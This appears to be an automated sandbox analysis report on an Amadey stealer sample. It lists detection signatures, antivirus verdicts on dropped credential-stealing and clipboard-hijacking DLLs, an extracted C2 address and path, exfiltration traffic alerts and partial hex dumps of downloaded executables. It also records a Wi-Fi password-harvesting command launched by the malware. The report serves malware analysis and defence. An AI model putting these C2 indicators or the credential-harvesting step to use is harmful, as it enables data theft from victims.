Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5232, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7284, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 7304, ProcessName: netsh.exe

Snort Signatures

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/18/24-23:40:02.863199
SID:	2856147
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/18/24-23:40:07.375855
SID:	2855239
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/18/24-23:40:12.178420
SID:	2044696
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 193.233.132.56 - Destination IP: 192.168.2.4

Timestamp:	04/18/24-23:40:03.371711
SID:	2856122
Source Port:	80
Destination Port:	49737
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/18/24-23:40:16.820946
SID:	2044696
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/18/24-23:40:08.396150
SID:	2044696
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M7 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/18/24-23:40:07.623211
SID:	2856151
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: UeW2b6mU6Z.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	Avira: detection malicious, Label: TR/ClipBanker.tbxxw
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	Avira: detection malicious, Label: TR/PSW.Agent.szlsq
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	Avira: detection malicious, Label: TR/PSW.Agent.szlsq
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	Avira: detection malicious, Label: TR/ClipBanker.pjgxt
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 26.2.rundll32.exe.6c8b0000.0.unpack

Malware Configuration Extractor: Amadey {"C2 url": ["193.233.132.167/enigma/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: UeW2b6mU6Z.exe

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sarra[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: UeW2b6mU6Z.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 26.2.rundll32.exe.6c8b0000.0.unpack	String decryptor: 193.233.132.167
Source: 26.2.rundll32.exe.6c8b0000.0.unpack	String decryptor: /enigma/index.php

Source: UeW2b6mU6Z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.20:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.20:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.20:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49931 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.pdb source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: agement.Automation.pdb source: powershell.exe, 0000001D.00000002.2649122722.000001CA6D6D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb source: powershell.exe, 0000001D.00000002.2649122722.000001CA6D6D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb< source: powershell.exe, 0000001D.00000002.2649486019.000001CA6D701000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D698000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: powershell.exe, 0000001D.00000002.2649486019.000001CA6D701000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.pdbC source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.Core.pdb source: powershell.exe, 0000001D.00000002.2649122722.000001CA6D6D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Management.pdbpdbent.pdb source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D698000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49737 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 193.233.132.56:80 -> 192.168.2.4:49737
Source: Traffic	Snort IDS: 2855239 ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) 192.168.2.4:49741 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2856151 ETPRO TROJAN Amadey CnC Activity M7 192.168.2.4:49742 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.4:49743 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.4:49745 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.4:49762 -> 193.233.132.56:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 193.233.132.56 80
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 193.233.132.167 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 193.233.132.167

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.45.47.93 ports 0,5,7,8,58709,9

Source: global traffic

TCP traffic: 192.168.2.4:49799 -> 147.45.47.93:58709

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:02 GMTContent-Type: application/octet-streamContent-Length: 1285632Last-Modified: Sun, 03 Mar 2024 11:54:33 GMTConnection: keep-aliveETag: "65e464f9-139e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 69 12 e4 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:03 GMTContent-Type: application/octet-streamContent-Length: 1937408Last-Modified: Thu, 18 Apr 2024 21:23:11 GMTConnection: keep-aliveETag: "66218f3f-1d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2a 52 e4 13 6e 33 8a 40 6e 33 8a 40 6e 33 8a 40 35 5b 89 41 60 33 8a 40 35 5b 8f 41 f0 33 8a 40 bb 5e 8e 41 7c 33 8a 40 bb 5e 89 41 7a 33 8a 40 bb 5e 8f 41 1b 33 8a 40 35 5b 8e 41 7a 33 8a 40 35 5b 8b 41 7d 33 8a 40 6e 33 8b 40 ba 33 8a 40 f5 5d 83 41 6f 33 8a 40 f5 5d 75 40 6f 33 8a 40 f5 5d 88 41 6f 33 8a 40 52 69 63 68 6e 33 8a 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 15 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 aa 01 00 00 00 00 00 00 b0 4c 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4c 00 00 04 00 00 c6 c6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 70 06 00 6a 00 00 00 00 60 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 9b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 9b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 60 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2b 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 78 63 6e 61 72 75 69 00 80 1a 00 00 20 32 00 00 7e 1a 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 78 67 67 68 72 63 62 00 10 00 00 00 a0 4c 00 00 04 00 00 00 6a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4c 00 00 22 00 00 00 6e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:06 GMTContent-Type: application/octet-streamContent-Length: 112128Last-Modified: Sun, 03 Mar 2024 11:54:32 GMTConnection: keep-aliveETag: "65e464f8-1b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a 12 e4 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:09 GMTContent-Type: application/octet-streamContent-Length: 1166336Last-Modified: Thu, 18 Apr 2024 21:22:12 GMTConnection: keep-aliveETag: "66218f04-11cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 04 8f 21 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 b9 21 12 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 